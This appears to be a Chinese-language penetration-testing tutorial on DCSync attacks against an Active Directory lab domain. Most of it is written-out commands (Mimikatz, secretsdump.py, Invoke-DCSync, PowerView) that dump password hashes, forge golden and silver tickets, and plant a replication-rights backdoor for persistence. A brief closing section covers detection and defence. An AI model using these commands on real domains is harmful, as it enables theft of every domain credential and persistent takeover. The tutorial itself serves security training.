內網滲透測試:DCSync 攻擊技術的利用
DCSync 是什么
在域環境中,不同域控制器(DC)之間,每 15 分鐘都會有一次域數據的同步。當一個域控制器(DC 1)想從其他域控制器(DC 2)獲取數據時,DC 1 會向 DC 2 發起一個 GetNCChanges 請求,該請求的數據包括需要同步的數據。如果需要同步的數據比較多,則會重復上述過程。DCSync 就是利用的這個原理,通過 Directory Replication Service(DRS) 服務的 GetNCChanges 接口向域控發起數據同步請求。
DCSync 是域滲透中經常會用到的技術,其被整合在了 Mimikatz 中。在 DCSync 功能出現之前,要想獲得域用戶的哈希,需要登錄域控制器,在域控制器上執行代碼才能獲得域用戶的哈希。
2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 發布了新版本的 Mimikatz,新增加了 DCSync 功能。該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。該功能最大的特點就是不用登陸域控制器,即可遠程通過域數據同步復制的方式獲得域控制器上的的數據。
注意:DCSync 攻擊的對象如果是只讀域控制器 (RODC),則會失效,因為 RODC 是不能參與復制同步數據到其他 DC 的。
在默認情況下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 組內的用戶有權限使用 DCSync,但我們可以對域內普通用戶添加 ACL (Access Control List) 實現普通用戶也能調用 DCSync 功能。
利用 DCSync 導出域內哈希
當我們獲取相應的權限后,可以利用 DCSync 功能導出域內用戶的哈希值。其原理就是利用 DRS (Directory Replication Service)協議通過 IDL_DRSGetNCChanges 從域控制器復制用戶哈希憑據。獲得了域內用戶的哈希后可以進一步利用。
通過 Mimikatz
在獲取權限的域成員主機上執行如下:
# 導出域內指定用戶的信息(包括哈希值) lsadump::dcsync /domain:whoamianony.org /user:administrator lsadump::dcsync /domain:whoamianony.org /user:administrator /csv # 導出域內所有用戶的信息(包括哈希值) lsadump::dcsync /domain:whoamianony.org /all lsadump::dcsync /domain:whoamianony.org /all /csv
image-20210824183902976
如上圖所示,成功獲取 Administrator 用戶的 NTLM 哈希。
通過 Secretsdump.py
- 項目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22
Secretsdump.py 是 Impacket 框架中的一個腳本,該腳本也可以通過 DCSync 技術導出域控制器上用戶的哈希。該工具的原理是首先使用提供的用戶登錄憑據通過 smbexec 或者 wmiexec 遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的哈希,同時通過 Dcsync 或從 NTDS.dit 文件中導出所有域用戶的哈希。其最大的優點是支持從域外的計算機連接至域控制器。
使用方法如下:
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator # 獲取 administrator 用戶的哈希 # python3 secretsdump.py domain/:password@ -dc-ip -just-dc-user
image-20210824233919549
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 # 獲取所有域用戶哈希, 包括機器用戶
image-20210825114427329
通過 PowerShell
- 項目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1
該腳本可以通過 Invoke-ReflectivePEinjection 調用 mimikatz.dll 中的 DCSync 功能
在獲取權限的域成員主機上執行如下命令即可:
Import-Module .\Invoke-DCSync.ps1
# 導出域內所有用戶的哈希值
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
# 導出域內指定用戶的哈希值
Invoke-DCSync -DumpForest | ft -wrap -autosize
利用 DCSync 制作黃金票據
在域滲透中,我們可以通過 DCSync 導出域控制器中 krbtgt 賬戶的哈希,并利用 krbtgt 賬戶的哈希制作黃金票據。
黃金票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》
測試環境如下:
image-20210824221346483
假設攻擊者已經拿下了內網主機 Windows 10,下面演示如何在內網中利用 DCSync 制作黃金票據來訪問 DC 上的資源。
拿下 Windows 10 主機之后,我們加載 kiwi 模塊:
load kiwi
image-20210824213230936
然后通過 kiwi_cmd 執行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能導出域控制器中 krbtgt 賬戶的哈希:
kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"
image-20210824214421165
然后我們便可以通過 krbtgt 賬戶的哈希生成黃金票據了:
golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck
執行后生成的票據會咱是存放在你的 Kali 上,然后執行以下命令,清空目標主機上的票據:
kerberos_ticket_purge
image-20210824215536411
最后使用 kerberos_ticket_use 注入剛才生成的票據即可:
kerberos_ticket_use gold.tck
image-20210824215648481
如上圖所示,票據成功注入。此時,攻擊者就可以利用 Windows 7 任意訪問域控上的資源了:
dir \\DC\c$
image-20210824220003150
有了黃金票據之后的操作就簡單了,懂得都懂!
利用 DCSync 進行域內權限維持
我們前面說了,要想利用 DCSync 功能,得要擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 組內的用戶權限。但是我們就不能讓普通域用戶擁有 DCSync 的操作權限嗎?當然可以!
當我們獲得了域內管理員權限后,我們可以修改域內普通用戶的權限,使其具有 DCSync 操作權限,那么普通域用戶也能導出域內用戶的信息了,這樣可以可以做一個隱蔽的后門進行權限維持。具體做法就是為普通域用戶添加三條 ACE 訪問控制項:
- DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
我們可以通過 Empire 框架中的 PowerView.ps1 腳本實現:
Import-Module .\powerview.ps1# 為域用戶 whoami 添加以上三條 ACEAdd-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose # 為域用戶 whoami 刪除以上三條 ACERemove-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose
image-20210824231710066
此時域用戶 whoami 便具有了 DCSync 權限。之后便可以用這個 whoami 用戶的權限進行 DCSync 攻擊了。
- 我們可以利用 whoami 用戶的身份,通過 Secretsdump.py 的 DCSync 功能導出 DC 上的用戶哈希。
python3 secretsdump.py whoamianony/whoami:Whoami2021@192.168.93.30 -dc-ip 192.168.93.30 -just-dc-user administrator
image-20210824232653186
- 還可以先使用
runas實現登錄 whoami 用戶,然后再使用 DCSync。
首先執行以下命令彈出一個 whoami 用戶登錄權限的 CMD:
runas /noprofile /user:whoamianony\whoami cmd
然后在彈出的 CMD 中執行 Mimikatz 進行 DCSync 即可:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
image-20210824235724341
- 同樣,也可以先使用 PowerShell 實現登錄 whoami 用戶,然后再使用 DCSync。
首先執行以下命令彈出一個 whoami 用戶登錄權限的 CMD:
$uname="whoamianony\whoami"$pwd=ConvertTo-SecureString "Whoami2021" -AsPlainText –Force$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)Start-Process -FilePath "cmd.exe" -Credential $cred
然后再彈出的 CMD 中執行 Mimikatz 進行 DCSync 即可:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
查詢域內具有 DCSync 權限的用戶
我們可以使用 Adfind 來查詢域內具有 DCSync 權限的用戶:
AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmuteAdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"DS-Replication-Get-Changes";; -recmute
image-20210825101308313
使用機器賬戶(MachineAccount)實現 DCSync
MachineAccount 即機器賬號、計算機賬號,是每臺計算機在安裝系統后默認生成的帳戶。所有加入域的也主機都會有一個機器用戶,用戶名為機器名加 $,如:WIN7$、WINXP$ 。
計算機帳戶的密碼存儲在注冊表中的位置為:
HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC# 該注冊表鍵路徑只能在 SYSTEM 權限下訪問
如果計算機加入域中,會將計算機帳戶的密碼同步到域控制器并保存在域控制器的 NTDS.dit 活動目錄數據庫文件中。計算機帳戶的密碼默認每 30 天自動更新,密碼長度為 120 個字符,所以即使我們獲得了計算機帳戶密碼的哈希值,也幾乎無法還原出計算機帳戶的明文口令。
要使用機器賬戶實現 DCSync,首先要做的就是獲取機器賬戶身份的權限,然后再利用機器賬戶的身份進行 DCSync 操作。下面進行具體的演示。
首先獲取 MachineAccount 的密碼哈希
- 可以直接在域控上使用 Mimikatz 通過注冊表文件導出當前計算機帳戶的密碼哈希。
privilege::debugtoken::elevatelsadump::secrets
image-20210825120150485
- 也可以在域成員主機上利用 DCSync 導出所有計算機帳戶的密碼哈希。
mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /all /csv"
image-20210825120249611
python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
image-20210825115038010
然后使用 MachineAccount 進行 DCSync
有了機器賬號的密碼哈希后,我們需要想辦法登錄到這個機器賬號,由于無法破解哈希,我們可以使用白銀票據的方法。
利用方式如下:
mimikatz "kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /target:DC.whoamianony.org /service:LDAP /rc4:8e89dfbe74fcae2e993ea2aa47b6a9c1 /user:krbtgt /ptt" "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
白銀票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》
image-20210825121006293
image-20210825121035072
也可以通過 secretsdump,使用機器賬戶的哈希從域外的計算機連接至域控制器導出哈希:
python3 secretsdump.py -hashes :8e89dfbe74fcae2e993ea2aa47b6a9c1 whoamianony/DC$@192.168.93.30

注意:如果使用域內普通計算機帳戶的密碼哈希連接對應的計算機,那么會失敗。
DCSync 的防御
DCSync 攻擊的原理是模擬域控制器與域控制器之間的數據同步復制。最好的防御方法是給控制器設置白名單,將可信任的資產設置在允許同步的白名單內。
除此之外,我們還應嘗試枚舉 Active Directory 中所有用戶的 ACL 查詢出所有特權帳戶,檢測域內被添加 DCSync 權限的用戶。Github 上有一個項目 ACLight 便提供了這樣的功能,只需執行項目中的 Execute-ACLight2.bat,便會生成以下三個文件:
- Privileged Accounts - Layers Analysis.txt
- Privileged Accounts Permissions - Final Report.csv
- Privileged Accounts Permissions - Irregular Accounts.csv
文件中會顯示出所有特權帳戶。


